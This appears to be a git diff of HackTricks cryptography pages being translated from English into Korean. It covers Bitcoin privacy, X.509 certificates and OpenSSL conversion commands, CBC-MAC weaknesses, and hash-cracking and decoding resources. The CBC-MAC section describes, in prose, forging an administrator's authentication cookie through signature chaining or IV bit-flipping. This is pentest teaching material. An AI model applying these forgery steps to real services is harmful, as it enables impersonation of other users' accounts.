- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **익명성을 위한 Tor 활용**
## **Utilizing Tor for Anonymity**
비트코인이 P2P 네트워크에서 운영되기 때문에, IP 주소를 숨기기 위해 Tor를 사용하는 것이 권장되며, 네트워크와 상호작용할 때 프라이버시를 향상시킵니다.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **주소 재사용 방지**
## **Preventing Address Reuse**
프라이버시를 보호하기 위해서는 모든 거래에 대해 새로운 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래가 동일한 주체와 연결되어 프라이버시가 손상될 수 있습니다. 현대 지갑은 디자인을 통해 주소 재사용을 권장하지 않습니다.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **거래 프라이버시를 위한 전략**
## **Strategies for Transaction Privacy**
- **다수의 거래**: 지불을 여러 거래로 나누면 거래 금액을 모호하게 하여 프라이버시 공격을 저지할 수 있습니다.
- **거스름돈 회피**: 거스름돈 출력을 필요로 하지 않는 거래를 선택하면 거스름돈 탐지 방법을 방해하여 프라이버시를 향상시킵니다.
- **다수의 거스름돈 출력**: 거스름돈을 피할 수 없는 경우, 여러 거스름돈 출력을 생성하는 것도 여전히 프라이버시를 개선할 수 있습니다.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **모네로: 익명의 등대**
# **Monero: A Beacon of Anonymity**
모네로는 디지털 거래에서 절대적인 익명성의 필요성을 다루며, 프라이버시의 높은 기준을 설정합니다.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **이더리움: 가스와 거래**
# **Ethereum: Gas and Transactions**
## **가스 이해하기**
## **Understanding Gas**
가스는 이더리움에서 작업을 실행하는 데 필요한 계산 노력을 측정하며, **gwei**로 가격이 책정됩니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)의 거래는 가스 한도와 기본 수수료가 포함되며, 채굴자를 유인하기 위한 팁이 포함됩니다. 사용자는 초과 지불을 방지하기 위해 최대 수수료를 설정할 수 있으며, 초과분은 환불됩니다.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **거래 실행하기**
## **Executing Transactions**
이더리움의 거래는 발신자와 수신자가 포함되며, 이는 사용자 또는 스마트 계약 주소일 수 있습니다. 거래는 수수료가 필요하며 채굴되어야 합니다. 거래의 필수 정보에는 수신자, 발신자의 서명, 값, 선택적 데이터, 가스 한도 및 수수료가 포함됩니다. 특히, 발신자의 주소는 서명에서 유추되므로 거래 데이터에 필요하지 않습니다.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
이러한 관행과 메커니즘은 프라이버시와 보안을 우선시하며 암호화폐에 참여하고자 하는 모든 사람에게 기본적입니다.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## 참고 문헌
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -2,46 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## What is a Certificate
A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
A **public key certificate**는 암호학에서 누군가가 공개 키를 소유하고 있음을 증명하는 디지털 ID입니다. 여기에는 키의 세부정보, 소유자의 신원(주체), 그리고 신뢰할 수 있는 기관(발급자)의 디지털 서명이 포함됩니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하면 키 소유자와의 안전한 통신이 가능합니다.
Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each others keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
Certificates는 주로 [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs)에 의해 [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) 설정에서 발급됩니다. 또 다른 방법은 [web of trust](https://en.wikipedia.org/wiki/Web_of_trust)로, 사용자가 서로의 키를 직접 검증하는 방식입니다. Certificates의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에 설명된 대로 특정 요구에 맞게 조정될 수 있습니다.
## x509 Common Fields
### **Common Fields in x509 Certificates**
In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
x509 certificates에서 여러 **fields**는 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 다음은 이러한 필드의 분류입니다:
- **Version Number** signifies the x509 format's version.
- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
- **Common Name (CN)**: Domains covered by the certificate.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
- **Distinguished Name (DN)** encapsulates the full subject identification.
- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
- **Version Number**는 x509 형식의 버전을 나타냅니다.
- **Serial Number**는 인증서를 Certificate Authority의 (CA) 시스템 내에서 고유하게 식별하며, 주로 폐기 추적을 위해 사용됩니다.
- **Subject** 필드는 인증서의 소유자를 나타내며, 이는 기계, 개인 또는 조직일 수 있습니다. 여기에는 다음과 같은 자세한 식별 정보가 포함됩니다:
- **Common Name (CN)**: 인증서가 적용되는 도메인.
- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, 및 **Organizational Unit (OU)**는 지리적 및 조직적 세부정보를 제공합니다.
- **Distinguished Name (DN)**는 전체 주체 식별을 캡슐화합니다.
- **Issuer**는 인증서를 검증하고 서명한 사람을 나타내며, CA에 대한 Subject와 유사한 하위 필드를 포함합니다.
- **Validity Period**는 **Not Before** 및 **Not After** 타임스탬프로 표시되어 인증서가 특정 날짜 이전이나 이후에 사용되지 않도록 보장합니다.
- **Public Key** 섹션은 인증서의 보안에 중요한 부분으로, 공개 키의 알고리즘, 크기 및 기타 기술적 세부정보를 지정합니다.
- **x509v3 extensions**는 인증서의 기능을 향상시키며, **Key Usage**, **Extended Key Usage**, **Subject Alternative Name** 및 기타 속성을 지정하여 인증서의 적용을 세밀하게 조정합니다.
#### **Key Usage and Extensions**
- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
- **Key Usage**는 공개 키의 암호화 응용 프로그램을 식별하며, 디지털 서명 또는 키 암호화와 같은 용도로 사용됩니다.
- **Extended Key Usage**는 인증서의 사용 사례를 더욱 좁히며, 예를 들어 TLS 서버 인증을 위한 것입니다.
- **Subject Alternative Name** 및 **Basic Constraint**는 인증서가 적용되는 추가 호스트 이름과 인증서가 CA인지 최종 엔터티 인증서인지를 정의합니다.
- **Subject Key Identifier** 및 **Authority Key Identifier**와 같은 식별자는 키의 고유성과 추적 가능성을 보장합니다.
- **Authority Information Access** 및 **CRL Distribution Points**는 발급 CA를 검증하고 인증서 폐기 상태를 확인하는 경로를 제공합니다.
- **CT Precertificate SCTs**는 인증서에 대한 공공 신뢰를 위해 중요한 투명성 로그를 제공합니다.
```python
# Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509
@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend
# Load an x509 certificate (assuming cert.pem is a certificate file)
with open("cert.pem", "rb") as file:
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
cert_data = file.read()
certificate = x509.load_pem_x509_certificate(cert_data, default_backend())
# Accessing fields
serial_number = certificate.serial_number
@ -63,160 +54,123 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}")
print(f"Public Key: {public_key}")
```
### **OCSP와 CRL 배포 지점의 차이**
### **Difference between OCSP and CRL Distribution Points**
**OCSP** (**RFC 2560**)는 클라이언트와 응답자가 협력하여 디지털 공개 키 인증서가 취소되었는지 확인하는 방법으로, 전체 **CRL**을 다운로드할 필요가 없습니다. 이 방법은 취소된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 더 효율적입니다. CRL은 최대 512개의 항목을 포함할 수 있습니다. 더 많은 세부정보는 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm)에서 확인할 수 있습니다.
**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm).
### **인증서 투명성이란 무엇인가**
### **What is Certificate Transparency**
인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 보이도록 하여 인증서 관련 위협에 대응하는 데 도움을 줍니다. 그 목표는 다음과 같습니다:
Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are:
- 도메인 소유자의 지식 없이 CA가 도메인에 대한 SSL 인증서를 발급하는 것을 방지합니다.
- 실수로 또는 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 구축합니다.
- 사용자들을 사기성 인증서로부터 보호합니다.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge.
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **인증서 로그**
#### **Certificate Logs**
인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능하고 추가 전용 기록입니다. 이러한 로그는 감사 목적으로 암호학적 증거를 제공합니다. 발급 기관과 대중 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만일 것으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관심 있는 어떤 주체에 의해 독립적으로 관리될 수 있습니다.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity.
#### **쿼리**
#### **Query**
어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh) 를 방문하세요.
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh).
인증서를 저장하는 다양한 형식이 있으며, 각 형식은 고유한 사용 사례와 호환성을 가지고 있습니다. 이 요약에서는 주요 형식을 다루고 이들 간의 변환에 대한 지침을 제공합니다.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them.
## **형식**
## **Formats**
### **PEM 형식**
### **PEM Format**
- 인증서에 가장 널리 사용되는 형식입니다.
- 인증서와 개인 키를 위해 별도의 파일이 필요하며, Base64 ASCII로 인코딩됩니다.
- 일반적인 확장자: .cer, .crt, .pem, .key.
- 주로 Apache 및 유사한 서버에서 사용됩니다.
- Most widely used format for certificates.
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **DER 형식**
### **DER Format**
- 인증서의 이진 형식입니다.
- PEM 파일에서 발견되는 "BEGIN/END CERTIFICATE" 문이 없습니다.
- 일반적인 확장자: .cer, .der.
- 종종 Java 플랫폼과 함께 사용됩니다.
- A binary format of certificates.
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **P7B/PKCS#7 형식**
### **P7B/PKCS#7 Format**
- Base64 ASCII로 저장되며, 확장자는 .p7b 또는 .p7c입니다.
- 개인 키를 제외하고 인증서와 체인 인증서만 포함됩니다.
- Microsoft Windows 및 Java Tomcat에서 지원됩니다.
- Stored in Base64 ASCII, with extensions .p7b or .p7c.
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **PFX/P12/PKCS#12 형식**
### **PFX/P12/PKCS#12 Format**
- 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식입니다.
- 확장자: .pfx, .p12.
- 주로 Windows에서 인증서 가져오기 및 내보내기에 사용됩니다.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file.
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **형식 변환**
### **Converting Formats**
**PEM conversions** are essential for compatibility:
**PEM 변환**은 호환성을 위해 필수적입니다:
- **x509 to PEM**
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
- **PEM to DER**
- **PEM을 DER로**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
- **DER to PEM**
```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem
```
- **PEM to P7B**
- **PEM을 P7B로**
```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
```
- **PKCS7 to PEM**
- **PKCS7를 PEM으로**
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```
**PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다:
**PFX conversions** are crucial for managing certificates on Windows:
- **PFX to PEM**
- **PFX에서 PEM으로**
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
- **PFX to PKCS#8** involves two steps:
1. Convert PFX to PEM
- **PFX to PKCS#8**는 두 단계로 이루어져 있습니다:
1. PFX를 PEM으로 변환
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. Convert PEM to PKCS8
2. PEM을 PKCS8로 변환하기
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
- **P7B to PFX** also requires two commands:
1. Convert P7B to CER
- **P7B to PFX** 또한 두 개의 명령이 필요합니다:
1. P7B를 CER로 변환합니다.
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. Convert CER and Private Key to PFX
2. CER 및 개인 키를 PFX로 변환하기
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
- **ASN.1 (DER/PEM) editing** (works with certificates or almost any other ASN.1 structure):
1. Clone [asn1template](https://github.com/wllm-rbnt/asn1template/)
- **ASN.1 (DER/PEM) 편집** (인증서 또는 거의 모든 다른 ASN.1 구조에서 작동):
1. [asn1template](https://github.com/wllm-rbnt/asn1template/) 클론하기
```bash
git clone https://github.com/wllm-rbnt/asn1template.git
```
2. Convert DER/PEM to OpenSSL's generation format
2. DER/PEM을 OpenSSL의 생성 형식으로 변환하기
```bash
asn1template/asn1template.pl certificatename.der > certificatename.tpl
asn1template/asn1template.pl -p certificatename.pem > certificatename.tpl
```
3. Edit certificatename.tpl according to your requirements
3. 요구 사항에 따라 certificatename.tpl을 편집하십시오.
```bash
vim certificatename.tpl
```
4. Rebuild the modified certificate
4. 수정된 인증서를 재구성합니다.
```bash
openssl asn1parse -genconf certificatename.tpl -out certificatename_new.der
openssl asn1parse -genconf certificatename.tpl -outform PEM -out certificatename_new.pem
```
---
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,54 +2,54 @@
# CBC
If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
만약 **cookie**가 **오직** **사용자 이름**(또는 cookie의 첫 부분이 사용자 이름)이고, 당신이 사용자 이름 "**admin**"을 가장하고 싶다면, 사용자 이름 **"bdmin"**을 만들고 **첫 바이트**를 **브루트포스**할 수 있습니다.
# CBC-MAC
**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security.
**Cipher block chaining message authentication code** (**CBC-MAC**)는 암호학에서 사용되는 방법입니다. 이 방법은 메시지를 블록 단위로 암호화하며, 각 블록의 암호화는 이전 블록과 연결됩니다. 이 과정은 **블록의 체인**을 생성하여 원래 메시지의 단일 비트라도 변경하면 암호화된 데이터의 마지막 블록에서 예측할 수 없는 변화를 초래합니다. 이러한 변화를 만들거나 되돌리기 위해서는 암호화 키가 필요하여 보안을 보장합니다.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
메시지 m의 CBC-MAC을 계산하기 위해, m을 제로 초기화 벡터로 CBC 모드에서 암호화하고 마지막 블록을 유지합니다. 다음 그림은 비밀 키 k와 블록 암호 E를 사용하여 블록으로 구성된 메시지의 CBC-MAC 계산을 간략하게 나타냅니다![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5):
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png](<https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png>)
# Vulnerability
With CBC-MAC usually the **IV used is 0**.\
This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So:
CBC-MAC에서는 일반적으로 **사용되는 IV가 0**입니다.\
이것은 문제입니다. 왜냐하면 2개의 알려진 메시지(`m1``m2`)가 독립적으로 2개의 서명(`s1``s2`)을 생성하기 때문입니다. 그래서:
- `E(m1 XOR 0) = s1`
- `E(m2 XOR 0) = s2`
Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32):
그런 다음 m1과 m2가 연결된 메시지(m3)는 2개의 서명(s31과 s32)을 생성합니다:
- `E(m1 XOR 0) = s31 = s1`
- `E(m2 XOR s1) = s32`
**Which is possible to calculate without knowing the key of the encryption.**
**이는 암호화 키를 알지 않고도 계산할 수 있습니다.**
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
당신이 **Administrator**라는 이름을 **8bytes** 블록으로 암호화하고 있다고 상상해 보십시오:
- `Administ`
- `rator\00\00\00`
You can create a username called **Administ** (m1) and retrieve the signature (s1).\
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\
now, you can use s32 as the signature of the full name **Administrator**.
사용자 이름 **Administ**(m1)를 만들고 서명(s1)을 가져올 수 있습니다.\
그런 다음 `rator\00\00\00 XOR s1`의 결과로 사용자 이름을 만들 수 있습니다. 이것은 `E(m2 XOR s1 XOR 0)`을 생성하며, 이는 s32입니다.\
이제 s32를 전체 이름 **Administrator**의 서명으로 사용할 수 있습니다.
### Summary
1. Get the signature of username **Administ** (m1) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**.
1. 사용자 이름 **Administ**(m1)의 서명 s1을 가져옵니다.
2. 사용자 이름 **rator\x00\x00\x00 XOR s1 XOR 0**의 서명 s32를 가져옵니다.
3. cookie를 s32로 설정하면 **Administrator** 사용자에 대한 유효한 cookie가 됩니다.
# Attack Controlling IV
If you can control the used IV the attack could be very easy.\
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
사용된 IV를 제어할 수 있다면 공격이 매우 쉬울 수 있습니다.\
만약 cookie가 단순히 암호화된 사용자 이름이라면, 사용자 "**administrator**"를 가장하기 위해 "**Administrator**"라는 사용자를 만들 수 있으며, 그 사용자의 cookie를 얻을 수 있습니다.\
이제 IV를 제어할 수 있다면, IV의 첫 번째 바이트를 변경하여 **IV\[0] XOR "A" == IV'\[0] XOR "a"**로 만들고 사용자 **Administrator**의 cookie를 재생성할 수 있습니다. 이 cookie는 초기 **IV**로 사용자 **administrator**를 **가장하는** 데 유효합니다.
## References
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
자세한 정보는 [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Online Hashes DBs
- _**Google it**_
- _**구글링하기**_
- [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com)
- [https://crackstation.net/](https://crackstation.net)
@ -25,7 +25,7 @@
## Encoders
Most of encoded data can be decoded with these 2 ressources:
대부분의 인코딩된 데이터는 이 두 리소스로 디코딩할 수 있습니다:
- [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
@ -33,7 +33,7 @@ Most of encoded data can be decoded with these 2 ressources:
### Substitution Autosolvers
- [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
- [https://quipqiup.com/](https://quipqiup.com) - Very good !
- [https://quipqiup.com/](https://quipqiup.com) - 매우 좋습니다!
#### Caesar - ROTx Autosolvers
@ -45,95 +45,90 @@ Most of encoded data can be decoded with these 2 ressources:
### Base Encodings Autosolver
Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
모든 이 베이스를 확인하세요: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
- **Ascii85**
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base26** \[_A-Z_]
- `BQEKGAHRJKHQMVZGKUXNT`
- `BQEKGAHRJKHQMVZGKUXNT`
- **Base32** \[_A-Z2-7=_]
- `NBXWYYLDMFZGCY3PNRQQ====`
- `NBXWYYLDMFZGCY3PNRQQ====`
- **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_]
- `pbzsaamdcf3gna5xptoo====`
- `pbzsaamdcf3gna5xptoo====`
- **Base32 Geohash** \[_0-9b-hjkmnp-z_]
- `e1rqssc3d5t62svgejhh====`
- `e1rqssc3d5t62svgejhh====`
- **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_]
- `D1QPRRB3C5S62RVFDHGG====`
- `D1QPRRB3C5S62RVFDHGG====`
- **Base32 Extended Hexadecimal** \[_0-9A-V_]
- `D1NMOOB3C5P62ORFDHGG====`
- `D1NMOOB3C5P62ORFDHGG====`
- **Base45** \[_0-9A-Z $%\*+-./:_]
- `59DPVDGPCVKEUPCPVD`
- `59DPVDGPCVKEUPCPVD`
- **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_]
- `2yJiRg5BF9gmsU6AC`
- `2yJiRg5BF9gmsU6AC`
- **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_]
- `2YiHqF5bf9FLSt6ac`
- `2YiHqF5bf9FLSt6ac`
- **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_]
- `pyJ5RgnBE9gm17awU`
- `pyJ5RgnBE9gm17awU`
- **Base62** \[_0-9A-Za-z_]
- `g2AextRZpBKRBzQ9`
- `g2AextRZpBKRBzQ9`
- **Base64** \[_A-Za-z0-9+/=_]
- `aG9sYWNhcmFjb2xh`
- `aG9sYWNhcmFjb2xh`
- **Base67** \[_A-Za-z0-9-_.!\~\_]
- `NI9JKX0cSUdqhr!p`
- `NI9JKX0cSUdqhr!p`
- **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `BQ%]q@psCd@rH0l`
- `BQ%]q@psCd@rH0l`
- **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `<~BQ%]q@psCd@rH0l~>`
- `<~BQ%]q@psCd@rH0l~>`
- **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_]
- `Xm4y`V\_|Y(V{dF>\`
- `Xm4y`V\_|Y(V{dF>\`
- **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_]
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d`
- **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_]
- `Xm4y|V{~Y+V}dF?`
- `Xm4y|V{~Y+V}dF?`
- **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_]
- `frDg[*jNN!7&BQM`
- `frDg[*jNN!7&BQM`
- **Base100** \[]
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- `👟👦👣👘👚👘👩👘👚👦👣👘`
- **Base122** \[]
- `4F ˂r0Xmvc`
- `4F ˂r0Xmvc`
- **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_]
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- `MIc3KiXa+Ihz+lrXMIc3KbCC`
- **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_]
- `DmPsv8J7qrlKEoY7`
- `DmPsv8J7qrlKEoY7`
- **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_]
- `kLD8iwKsigSalLJ5`
- `kLD8iwKsigSalLJ5`
- **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_]
- `ayRiIo1gpO+uUc7g`
- `ayRiIo1gpO+uUc7g`
- **ESAB46** \[]
